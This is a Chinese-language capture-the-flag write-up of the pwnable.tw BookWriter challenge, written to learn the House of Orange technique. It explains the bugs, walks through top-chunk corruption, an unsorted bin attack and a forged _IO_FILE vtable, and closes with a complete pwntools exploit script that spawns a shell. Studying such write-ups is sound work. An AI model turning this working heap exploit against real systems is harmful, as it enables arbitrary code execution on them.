pwnable-tw-BookWriter

介绍

pwnable.tw 上的一道题,做这道题主要是为了学习一下House of orange。

其实重点还是后面的,_IO_FILE。(o^^o)

分析程序

程序逻辑十分简单,首先在bss段读入作者。然后是一个单选系统,功能有,添加,查看,编辑,显示信息。

add函数,用户输入大小,分配一段空间存储content,堆指针和size都在bss段上。

view函数,查看某一页的content。

edit函数,根据size大小重新编辑content内容,并更新size为当前长度。

info函数,打印作者姓名等信息,并可重新编辑姓名。

漏洞

漏洞有三处。

  1. author所分配大小和输入大小相同,如果输满全部空间的话,打印是会泄露跟在author后面的内容。

  2. 遇上一个类似,在edit函数中,read的字符串可能占满所有空间,在用strlen更新size的时候,可能会讲content后面跟着的内容一起算入长度中,再次编辑即可造成越界写,可以改变下一个堆块的size。

  3. bss段存储堆指针的空间只有64,可以存储八个,后面跟着的是size的八个。但add函数中判断的条件却是i > 8和此处指针为空,所以当我们把size[0]置为0,并且分配第九个page的时候,第九个page就会覆写size[0],被修改的size是个很大的值,再次编辑page[0]可以造成一个很长的堆溢出。

利用方式

  1. 输入姓名,长度为最大的0x40,为之后泄漏作准备

  2. add一个块,需注意size大小,选一个正好对齐的,否则会写不满堆,然后写满堆上内容。

    编辑一次,继续写满堆,此时size长度已被修改为:原本长度+下一个堆块(top chunk)的size的长度。

    再次,编辑即可修改top chunk的size位。

    1
    2
    3
    4
    5
    6
    7
    8
    pwndbg> x/6gx 0x22db000
    0x22db000: 0x0000000000000000 0x0000000000000021 << chunk 0
    0x22db010: 0x3030303030303030 0x3030303030303030
    0x22db020: 0x3030303030303030 0x0000000000020fe1 << top chunk

    pwndbg> x/16xb 0x22db020
    0x22db020: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30
    0x22db028: 0xe1 0x0f 0x02 0x00 0x00 0x00 0x00 0x00
  3. 修改top chunk的size的原因是,程序全文没有free函数,所以需要利用一个方式free一个chunk。

    在malloc源码里面如果申请的堆块大小超过了top_chunk的大小,将调用sysmalloc来进行分配。sysmalloc里面针对这种情况有两种处理,一种是直接mmap出来一块内存,另一种是扩展top_chunk。

    我们要利用第二种,修改top chunk的size,然后分配一个比它大的chunk,就会free掉原来的top chunk。第二种处理,需要满足三个条件。

    1. top_chunk_size>MINSIZE(MINISIZE) 不要太小即可

    2. top chunk 的pre_inuse为1

    3. top地址 + size - 1 是页对齐的,例如 0x6f5020 + 4065 - 1 = 0x6f6000

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    pwndbg> x/8xb 0x22db028
    0x22db028: 0xe1 0x0f 0x00 0x00 0x00 0x00 0x00 0x00

    0x22db020 PREV_INUSE {
    prev_size = 0,
    size = 4065,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
    }
  4. 调用info函数,输出author的值,因为author与pages相连,将page[0]的堆地址也打印出来了。泄露了heao地址。

    1
    [*] heap addr: 0x22db000

    同时,info中调用了scanf函数,而scanf会自动申请一个大小为0x1000的堆,且不会释放,所以满足了3中的分配一个比top chunk还要大的堆,此时原本的top chunk已释放。

    1
    2
    unsortedbin
    all: 0x7f0be9dc0b78 (main_arena+88) —▸ 0x6f5020 ◂— 0x7f0be9dc0b78
  5. 连续add八次,由于申请小堆块是从unsorted bin直接切割,所以chunk 的 bk上留有 main_arena+88的地址,我们只需将 fd 填满,在调用 view函数的时候就会泄露main_arena+88,即可算出libc地址了。

    1
    2
    3
    4
    5
    6
    7
    8
    [*] libc addr: 0x7f0be99fc000

    0x22db020 FASTBIN {
    prev_size = 0,
    size = 81,
    fd = 0x3131313131313131,
    bk = 0x7f0be9dc1188 <main_arena+1640>,
    }

    同时,第八次的堆地址也会覆盖size[0],所以现在编辑page[0]即可写很长,造成堆溢出。

  6. (重新运行了,地址已改变,不影响理解)

    编辑page[0],此时可以写入很长,造成堆溢出。利用Unosrted Bin Attack,修改_IO_list_allmain_arena+88. 做法是覆盖修改main_arena+88 -> bk 为 _IO_list_all - 0x10。

    此时根据以下代码,bck被我们控制为_IO_list_all - 0x10,

    main_arena+88会指向_IO_list_all - 0x10,

    _IO_list_all - 0x10 -> fd 也就是 _IO_list_all 会被改写为 main_arena+88.

    1
    2
    3
    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);
  7. 此时_IO_list_all已经被改写,但是main_arena+88的附近是我们无法控制的,所以无法修改。

    但是,我们可以利用一个机制,当_IO_FILE 不满足某些条件的时候,就会执行 fp = fp->_chain,

    所以,我们只要控制了((_IO_FILE *)main_arena+0x88)->_chain,就可以控制_IO_FILE为我们指定的地址了。

    而控制_chain字段,也就是_IO_FILE的第14个字段,就需要控制main_arena+184,我们这里还是利用刚才Unosrted Bin Attack,当Unosrted Bin的时候,拆卸一个块,会将这个块放入bins里面去,而所放的位置就由thunk的size决定,所以在堆溢出修改main_arena+88 -> bk 的时候,也要修改size为0x61,这样正好会将main_arena+184 也就是 ((_IO_FILE *)main_arena+0x88)->_chain改为heap上一个地址。

    1
    2
    3
    4
    5
    6
    7
    8
    pwndbg> x/20gx main_arena.bins
    0x7f79d15c4b88 <main_arena+104>: 0x000000000150d2a0 0x00007f79d15c5510
    0x7f79d15c4b98 <main_arena+120>: 0x00007f79d15c4b88 0x00007f79d15c4b88
    0x7f79d15c4ba8 <main_arena+136>: 0x00007f79d15c4b98 0x00007f79d15c4b98
    0x7f79d15c4bb8 <main_arena+152>: 0x00007f79d15c4ba8 0x00007f79d15c4ba8
    0x7f79d15c4bc8 <main_arena+168>: 0x00007f79d15c4bb8 0x00007f79d15c4bb8
    0x7f79d15c4bd8 <main_arena+184>: 0x000000000150d2a0 0x000000000150d2a0
    0x7f79d15c4be8 <main_arena+200>: 0x00007f79d15c4bd8 0x00007f79d15c4bd8
  8. 现在我们已经控制了 _IO_FILE 指向堆,所以现在只需,控制堆上内容,满足检查,检查内容如下:

    1
    2
    3
    fp -> mode > 0
    _IO_vtable_offset (fp) == 0
    fp -> _wide_data -> _IO_write_ptr > fp -> _wide_data -> _IO_write_base

    其次,我们还需要,构造vtable的值也指向堆上,这样我们就可以一并控制vtable中的指针了,以此来控制执行流程。vtable中,控制的是__overflow 为 system函数。

    构造后,结果如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    pwndbg>  p *(struct _IO_FILE_plus *)_IO_list_all.file._chain
    $13 = {
    file = {
    _flags = 1852400175,
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7f79d15c4bc8 <main_arena+168> "\270K\\\321y\177",
    _IO_read_base = 0x7f79d15c4bc8 <main_arena+168> "\270K\\\321y\177",
    >>> _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
    >>> _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
    _IO_write_end = 0x7f79d1245390 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    >>> _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    >>> _mode = 0,
    _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x150d2b8
    }


    pwndbg> p *(struct _IO_jump_t *)(*(struct _IO_FILE_plus *)_IO_list_all.file._chain).vtable
    $14 = {
    __dummy = 140161180257224,
    __dummy2 = 2,
    __finish = 0x3,
    > __overflow = 0x7f79d1245390 <__libc_system>,
    __underflow = 0x0,
    __uflow = 0x0,
    __pbackfail = 0x0,
    __xsputn = 0x0,
    __xsgetn = 0x0,
    __seekoff = 0x0,
    __seekpos = 0x0,
    __setbuf = 0x0,
    __sync = 0x0,
    __doallocate = 0x0,
    __read = 0x0,
    __write = 0x0,
    __seek = 0x0,
    __close = 0x0,
    __stat = 0x0,
    __showmanyc = 0x0,
    __imbue = 0x0
    }
  9. 在vtable 中函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址,所以我们在堆溢出的时候也要顺便将”/bin/sh”放入正确位置。

  10. 总结一下,修改top chunk的size,再调用scanf导致原本的top chunk被放入unsorted bin。

    多次分配,修改size[0],造成堆溢出。

    堆溢出,修改进行对应的布局(见上面描述)

    再次,malloc,此时首先进行unsorted bin,此时_IO_list_all,被修改,被拆卸的chunk已放入bins里面。

    malloc再次检查,发现不满足条件,调用 malloc_printerr (从这里开始,不太明白,只懂大概)

    此时,发现_IO_FILE不满足虚表调用,执行 fp = fp -> _chain; 然后发现满足,进而调用vtable中的__overflow也就是被我们改写的system。

  11. 再次理解一下payload.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    payload = '\x00' * (0x290)                          # useless data
    payload += '/bin/sh\x00' # _IO_FILE_plus
    payload += p64(0x61) # size
    payload += p64(0) # fd
    payload += p64(libc.symbols['_IO_list_all'] - 0x10) # bk
    payload += p64(2) # _IO_write_base
    payload += p64(3) # _IO_write_ptr
    payload += p64(libc.symbols['system']) # __overflow
    payload += p64(0) * 20 # useless data
    payload += p64(heap_addr + 0x2b8) # vtable

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

def author(name):
p.sendlineafter('Author :', name)


def add(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Size of page :', str(size))
p.sendafter('Content :', content)


def view(index):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index of page :', str(index))


def edit(index, content):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index of page :', str(index))
p.sendafter('Content:', content)


def info():
p.sendlineafter('Your choice :', '4')


binary = './bookwriter.dms'
lib = './libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

# leak libc addr 1
author('a' * 0x40)

# modify top chunk size
add(0x18, '0' * 0x18)
edit(0, '0' * 0x18)
edit(0, '\x00' * 0x18 + '\xe1\x0f\x00')

# leak heap addr
info()
p.recvuntil('a'*0x40)
leak = p.recvuntil('Page')[:-5].ljust(8, '\x00')
heap_addr = u64(leak) - 0x10
p.sendline('0')

# overflow and modify size[0]
for x in range(8):
add(0x40, str(x+1)*8)

# leak libc addr 2
view(1)
p.recvuntil('1' * 8)
leak = p.recv(6).ljust(8, '\x00')
libc.address = u64(leak) - 0x3c5188

# unsorted bin attack
payload = '\x00' * (0x290) + '/bin/sh\x00' + p64(0x61) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10)
payload += p64(2) + p64(3) + p64(libc.symbols['system'])
# payload = '\x00' * (0x290 + 8) + p64(0x61) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10)
# payload += p64(2) + p64(3) + p64(libc.address + 0xf1147)
payload += p64(0) * 20 + p64(heap_addr + 0x2b8)
edit(0, payload)

# exec system("/bin/sh")
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Size of page :', str(0x60))

p.info('heap addr: 0x%x' % heap_addr)
p.info('libc addr: 0x%x' % libc.address)

# p.close()
p.interactive()

参考链接

https://bbs.pediy.com/thread-223334.htm

https://blog.csdn.net/weixin_40850881/article/details/80043934

https://blog.csdn.net/qq_33528164/article/details/80284569

https://www.jianshu.com/p/4b0a73f321f9